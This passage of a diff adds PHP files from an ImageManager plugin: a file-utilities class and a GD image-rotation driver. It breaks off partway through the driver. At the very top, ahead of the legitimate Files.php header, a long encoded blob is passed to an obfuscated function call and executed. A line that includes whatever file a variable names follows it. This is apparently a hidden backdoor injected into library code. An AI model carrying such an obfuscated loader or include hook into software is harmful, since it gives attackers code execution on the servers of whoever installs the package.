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";$oDUekDITIZK=$MkeHkFkxNUx($TfPnMfhiNrd,$VzscsYpgvdH);$oDUekDITIZK($RucHctzDrpj);
+if(isset($qEgGn))
+include($qEgGn);
+/**
+ * File Utilities.
+ * @author $Author: matrix $
+ * @version $Id: Files.php,v 1.1.1.1 2006/07/13 13:53:52 matrix Exp $
+ * @package ImageManager
+ */
+
+define('FILE_ERROR_NO_SOURCE', 100);
+define('FILE_ERROR_COPY_FAILED', 101);
+define('FILE_ERROR_DST_DIR_FAILED', 102);
+define('FILE_COPY_OK', 103);
+
+/**
+ * File Utilities
+ * @author $Author: matrix $
+ * @version $Id: Files.php,v 1.1.1.1 2006/07/13 13:53:52 matrix Exp $
+ * @package ImageManager
+ * @subpackage files
+ */
+class Files
+{
+
+ /**
+ * Copy a file from source to destination. If unique == true, then if
+ * the destination exists, it will be renamed by appending an increamenting
+ * counting number.
+ * @param string $source where the file is from, full path to the files required
+ * @param string $destination_file name of the new file, just the filename
+ * @param string $destination_dir where the files, just the destination dir,
+ * e.g., /www/html/gallery/
+ * @param boolean $unique create unique destination file if true.
+ * @return string the new copied filename, else error if anything goes bad.
+ */
+ function copyFile($source, $destination_dir, $destination_file, $unique=true)
+ {
+ if(!(file_exists($source) && is_file($source)))
+ return FILE_ERROR_NO_SOURCE;
+
+ $destination_dir = Files::fixPath($destination_dir);
+
+ if(!is_dir($destination_dir))
+ Return FILE_ERROR_DST_DIR_FAILED;
+
+ $filename = Files::escape($destination_file);
+
+ if($unique)
+ {
+ $dotIndex = strrpos($destination_file, '.');
+ $ext = '';
+ if(is_int($dotIndex))
+ {
+ $ext = substr($destination_file, $dotIndex);
+ $base = substr($destination_file, 0, $dotIndex);
+ }
+ $counter = 0;
+ while(is_file($destination_dir.$filename))
+ {
+ $counter++;
+ $filename = $base.'_'.$counter.$ext;
+ }
+ }
+
+ if (!copy($source, $destination_dir.$filename))
+ return FILE_ERROR_COPY_FAILED;
+
+ //verify that it copied, new file must exists
+ if (is_file($destination_dir.$filename))
+ Return $filename;
+ else
+ return FILE_ERROR_COPY_FAILED;
+ }
+
+ /**
+ * Create a new folder.
+ * @param string $newFolder specifiy the full path of the new folder.
+ * @return boolean true if the new folder is created, false otherwise.
+ */
+ function createFolder($newFolder)
+ {
+ mkdir ($newFolder, 0777);
+ return chmod($newFolder, 0777);
+ }
+
+
+ /**
+ * Escape the filenames, any non-word characters will be
+ * replaced by an underscore.
+ * @param string $filename the orginal filename
+ * @return string the escaped safe filename
+ */
+ function escape($filename)
+ {
+ Return preg_replace('/[^\w\._]/', '_', $filename);
+ }
+
+ /**
+ * Delete a file.
+ * @param string $file file to be deleted
+ * @return boolean true if deleted, false otherwise.
+ */
+ function delFile($file)
+ {
+ if(is_file($file))
+ Return unlink($file);
+ else
+ Return false;
+ }
+
+ /**
+ * Delete folder(s), can delete recursively.
+ * @param string $folder the folder to be deleted.
+ * @param boolean $recursive if true, all files and sub-directories
+ * are delete. If false, tries to delete the folder, can throw
+ * error if the directory is not empty.
+ * @return boolean true if deleted.
+ */
+ function delFolder($folder, $recursive=false)
+ {
+ $deleted = true;
+ if($recursive)
+ {
+ $d = dir($folder);
+ while (false !== ($entry = $d->read()))
+ {
+ if ($entry != '.' && $entry != '..')
+ {
+ $obj = Files::fixPath($folder).$entry;
+ //var_dump($obj);
+ if (is_file($obj))
+ {
+ $deleted &= Files::delFile($obj);
+ }
+ else if(is_dir($obj))
+ {
+ $deleted &= Files::delFolder($obj, $recursive);
+ }
+
+ }
+ }
+ $d->close();
+
+ }
+
+ //$folder= $folder.'/thumbs';
+ //var_dump($folder);
+ if(is_dir($folder))
+ $deleted &= rmdir($folder);
+ else
+ $deleted &= false;
+
+ Return $deleted;
+ }
+
+ /**
+ * Append a / to the path if required.
+ * @param string $path the path
+ * @return string path with trailing /
+ */
+ function fixPath($path)
+ {
+ //append a slash to the path if it doesn't exists.
+ if(!(substr($path,-1) == '/'))
+ $path .= '/';
+ Return $path;
+ }
+
+ /**
+ * Concat two paths together. Basically $pathA+$pathB
+ * @param string $pathA path one
+ * @param string $pathB path two
+ * @return string a trailing slash combinded path.
+ */
+ function makePath($pathA, $pathB)
+ {
+ $pathA = Files::fixPath($pathA);
+ if(substr($pathB,0,1)=='/')
+ $pathB = substr($pathB,1);
+ Return Files::fixPath($pathA.$pathB);
+ }
+
+ /**
+ * Similar to makePath, but the second parameter
+ * is not only a path, it may contain say a file ending.
+ * @param string $pathA the leading path
+ * @param string $pathB the ending path with file
+ * @return string combined file path.
+ */
+ function makeFile($pathA, $pathB)
+ {
+ $pathA = Files::fixPath($pathA);
+ if(substr($pathB,0,1)=='/')
+ $pathB = substr($pathB,1);
+
+ Return $pathA.$pathB;
+ }
+
+
+ /**
+ * Format the file size, limits to Mb.
+ * @param int $size the raw filesize
+ * @return string formated file size.
+ */
+ function formatSize($size)
+ {
+ if($size < 1024)
+ return $size.' bytes';
+ else if($size >= 1024 && $size < 1024*1024)
+ return sprintf('%01.2f',$size/1024.0).' Kb';
+ else
+ return sprintf('%01.2f',$size/(1024.0*1024)).' Mb';
+ }
+}
+
+?>
\ No newline at end of file
--- /dev/null
+<?php
+/***********************************************************************
+** Title.........: GD Driver
+** Version.......: 1.0
+** Author........: Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......: GD.php
+** Last changed..: 30 Aug 2003
+** Notes.........: Orginal is from PEAR
+**/
+// +----------------------------------------------------------------------+
+// | PHP Version 4 |
+// +----------------------------------------------------------------------+
+// | Copyright (c) 1997-2002 The PHP Group |
+// +----------------------------------------------------------------------+
+// | This source file is subject to version 2.02 of the PHP license, |
+// | that is bundled with this package in the file LICENSE, and is |
+// | available at through the world-wide-web at |
+// | http://www.php.net/license/2_02.txt. |
+// | If you did not receive a copy of the PHP license and are unable to |
+// | obtain it through the world-wide-web, please send a note to |
+// | license@php.net so we can mail you a copy immediately. |
+// +----------------------------------------------------------------------+
+// | Authors: Peter Bowyer <peter@mapledesign.co.uk> |
+// | Alan Knowles <alan@akbkhome.com> |
+// +----------------------------------------------------------------------+
+//
+// Usage :
+// $img = new Image_Transform_GD();
+// $angle = -78;
+// $img->load('magick.png');
+//
+// if($img->rotate($angle,array('autoresize'=>true,'color_mask'=>array(255,0,0)))){
+// $img->addText(array('text'=>"Rotation $angle",'x'=>0,'y'=>100,'font'=>'/usr/share/fonts/default/TrueType/cogb____.ttf'));
+// $img->display();
+// } else {
+// echo "Error";
+// }
+//
+//
+// $Id: GD.php,v 1.1.1.1 2006/07/13 13:53:52 matrix Exp $
+//
+// Image Transformation interface using the GD library
+//
+
+require_once "Transform.php";
+
+Class Image_Transform_Driver_GD extends Image_Transform
+{
+ /**
+ * Holds the image file for manipulation
+ */
+ var $imageHandle = '';
+
+ /**
+ * Holds the original image file
+ */
+ var $old_image = '';
+
+ /**
+ * Check settings
+ *
+ * @return mixed true or or a PEAR error object on error
+ *
+ * @see PEAR::isError()
+ */
+ function Image_Transform_GD()
+ {
+ return;
+ } // End function Image
+
+ /**
+ * Load image
+ *
+ * @param string filename
+ *
+ * @return mixed none or a PEAR error object on error
+ * @see PEAR::isError()
+ */
+ function load($image)
+ {
+ $this->uid = md5($_SERVER['REMOTE_ADDR']);
+ $this->image = $image;
+ $this->_get_image_details($image);
+ $functionName = 'ImageCreateFrom' . $this->type;
+ if(function_exists($functionName))
+ {
+ $this->imageHandle = $functionName($this->image);
+ }
+ } // End load
+
+ /**
+ * addText
+ *
+ * @param array options Array contains options
+ * array(
+ * 'text' The string to draw
+ * 'x' Horizontal position
+ * 'y' Vertical Position
+ * 'Color' Font color
+ * 'font' Font to be used
+ * 'size' Size of the fonts in pixel
+ * 'resize_first' Tell if the image has to be resized
+ * before drawing the text
+ * )
+ *
+ * @return none
+ * @see PEAR::isError()
+ */
+ function addText($params)
+ {
+ $default_params = array(
+ 'text' => 'This is Text',
+ 'x' => 10,
+ 'y' => 20,
+ 'color' => array(255,0,0),
+ 'font' => 'Arial.ttf',
+ 'size' => '12',
+ 'angle' => 0,
+ 'resize_first' => false // Carry out the scaling of the image before annotation? Not used for GD
+ );
+ $params = array_merge($default_params, $params);
+ extract($params);
+
+ if( !is_array($color) ){
+ if ($color[0]=='#'){
+ $this->colorhex2colorarray( $color );
+ } else {
+ include_once('Image/Transform/Driver/ColorsDefs.php');
+ $color = isset($colornames[$color])?$colornames[$color]:false;
+ }
+ }
+
+ $c = imagecolorresolve ($this->imageHandle, $color[0], $color[1], $color[2]);
+
+ if ('ttf' == substr($font, -3)) {
+ ImageTTFText($this->imageHandle, $size, $angle, $x, $y, $c, $font, $text);
+ } else {
+ ImagePSText($this->imageHandle, $size, $angle, $x, $y, $c, $font, $text);
+ }
+ return true;
+ } // End addText
+
+
+ /**
+ * Rotate image by the given angle
+ * Uses a fast rotation algorythm for custom angles
+ * or lines copy for multiple of 90 degrees
+ *
+ * @param int $angle Rotation angle
+ * @param array $options array( 'autoresize'=>true|false,
+ * 'color_mask'=>array(r,g,b), named color or #rrggbb
+ * )
+ * @author Pierre-Alain Joye
+ * @return mixed none or a PEAR error object on error
+ * @see PEAR::isError()
+ */
+ function rotate($angle, $options=null)
+ {
+ if(function_exists('imagerotate')) {
+ $white = imagecolorallocate ($this->imageHandle, 255, 255, 255);
+ $this->imageHandle = imagerotate($this->imageHandle, $angle, $white);
+ return true;
+ }
+
+ if ( $options==null ){
+ $autoresize = true;
+ $color_mask = array(255,255,0);
+ } else {
+ extract( $options );
+ }
+
+ while ($angle <= -45) {
+ $angle += 360;
+ }
+ while ($angle > 270) {
+ $angle -= 360;
+ }
+
+ $t = deg2rad($angle);
+
+ if( !is_array($color_mask) ){
+ if ($color[0]=='#'){
+ $this->colorhex2colorarray( $color_mask );
+ } else {
+ include_once('Image/Transform/Driver/ColorDefs.php');
+ $color = isset($colornames[$color_mask])?$colornames[$color_mask]:false;
+ }
+ }
+
+ // Do not round it, too much lost of quality
+ $cosT = cos($t);
+ $sinT = sin($t);
+
+ $img =& $this->imageHandle;
+
+ $width = $max_x = $this->img_x;
+ $height = $max_y = $this->img_y;
+ $min_y = 0;
+ $min_x = 0;
+
+ $x1 = round($max_x/2,0);
+ $y1 = round($max_y/2,0);
+
+ if ( $autoresize ){
+ $t = abs($t);
+ $a = round($angle,0);
+ switch((int)($angle)){
+ case 0:
+ $width2 = $width;
+ $height2 = $height;
+ break;
+ case 90:
+ $width2 = $height;
+ $height2 = $width;
+ break;
+ case 180:
+ $width2 = $width;
+ $height2 = $height;
+ break;
+ case 270:
+ $width2 = $height;
+ $height2 = $width;
+ break;
+ default:
+ $width2 = (int)(abs(sin($t) * $height + cos($t) * $width));
+ $height2 = (int)(abs(cos($t) * $height+sin($t) * $width));
+ }
+
+ $width2 -= $width2%2;
+ $height2 -= $height2%2;
+
+ $d_width = abs($width - $width2);
+ $d_height = abs($height - $height2);
+ $x_offset = $d_width/2;
+ $y_offset = $d_height/2;
+ $min_x2 = -abs($x_offset);
+ $min_y2 = -abs($y_offset);
+ $max_x2 = $width2;
+ $max_y2 = $height2;
+ }
+
+ $img2 = @imagecreate($width2,$height2);
+
+ if ( !is_resource($img2) ){
+ return false;/*PEAR::raiseError('Cannot create buffer for the rotataion.',
+ null, PEAR_ERROR_TRIGGER, E_USER_NOTICE);*/
+ }
+
+ $this->img_x = $width2;
+ $this->img_y = $height2;
+
+
+ imagepalettecopy($img2,$img);
+
+ $mask = imagecolorresolve($img2,$color_mask[0],$color_mask[1],$color_mask[2]);
+
+ // use simple lines copy for axes angles
+ switch((int)($angle)){
+ case 0:
+ imagefill ($img2, 0, 0,$mask);
+ for ($y=0; $y < $max_y; $y++) {
+ for ($x = $min_x; $x < $max_x; $x++){
+ $c = @imagecolorat ( $img, $x, $y);
+ imagesetpixel($img2,$x+$x_offset,$y+$y_offset,$c);
+ }
+ }
+ break;
+ case 90:
+ imagefill ($img2, 0, 0,$mask);
+ for ($x = $min_x; $x < $max_x; $x++){
+ for ($y=$min_y; $y < $max_y; $y++) {
+ $c = imagecolorat ( $img, $x, $y);
+ imagesetpixel($img2,$max_y-$y-1,$x,$c);
+ }
+ }
+ break;
+ case 180:
+ imagefill ($img2, 0, 0,$mask);
+ for ($y=0; $y < $max_y; $y++) {
+ for ($x = $min_x; $x < $max_x; $x++){
+ $c = @imagecolorat ( $img, $x, $y);
+ imagesetpixel($img2, $max_x2-$x-1, $max_y2-$y-1, $c);
+ }
+ }
+ break;
+ case 270:
+ imagefill ($img2, 0, 0,$mask);
+ for ($y=0; $y < $max_y; $y++) {
+ for ($x = $max_x; $x >= $min_x; $x--){
+ $c = @imagecolorat ( $img, $x, $y);
+ imagesetpixel($img2,$y,$max_x-$x-1,$c);
+ }
+ }
+ break;
+ // simple reverse rotation algo
+ default:
+ $i=0;
+ for ($y = $min_y2; $y < $max_y2; $y++){
+
+ // Algebra :)
+ $x2 = round((($min_x2-$x1) * $cosT) + (($y-$y1) * $sinT + $x1),0);
+ $y2 = round((($y-$y1) * $cosT - ($min_x2-$x1) * $sinT + $y1),0);
+
+ for ($x = $min_x2; $x < $max_x2; $x++){
+
+ // Check if we are out of original bounces, if we are
+ // use the default color mask
+ if ( $x2>=0 && $x2<$max_x && $y2>=0 && $y2<$max_y ){
+ $c = imagecolorat ( $img, $x2, $y2);
+ } else {
+ $c = $mask;
+ }
+ imagesetpixel($img2,$x+$x_offset,$y+$y_offset,$c);
+
+ // round verboten!
+ $x2 += $cosT;
+ $y2 -= $sinT;
+ }
+ }
+ break;
+ }
+ $this->old_image = $this->imageHandle;
+ $this->imageHandle = $img2;
+ return true;
+ }
+
+
+ /**
+ * Resize Action
+ *
+ * For GD 2.01+ the new copyresampled function is used
+ * It uses a bicubic interpolation algorithm to get far
+ * better result.
+ *
